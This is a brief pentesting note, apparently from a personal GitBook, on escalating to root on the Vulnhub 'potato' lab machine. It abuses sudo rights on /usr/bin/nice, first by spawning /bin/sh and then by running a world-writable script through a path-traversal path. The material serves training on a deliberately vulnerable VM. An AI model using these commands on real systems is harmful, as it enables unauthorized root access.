> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/privesc/sudo-+-gtfobins/usr-bin-nice.md).

# /usr/bin/nice

/bin/nice  (Vulnhub potato, presupposes low priv ssh users | /home/webadmin is the current directory in the box, change according to specific circumstances)

```
#insta root

sudo nice /bin/sh

#Alternative

a) echo "/bin/bash" >> root.sh 
b) chmod 777 root.sh 
c) sudo /bin/nice /notes/../home/webadmin/root.sh
#root

```
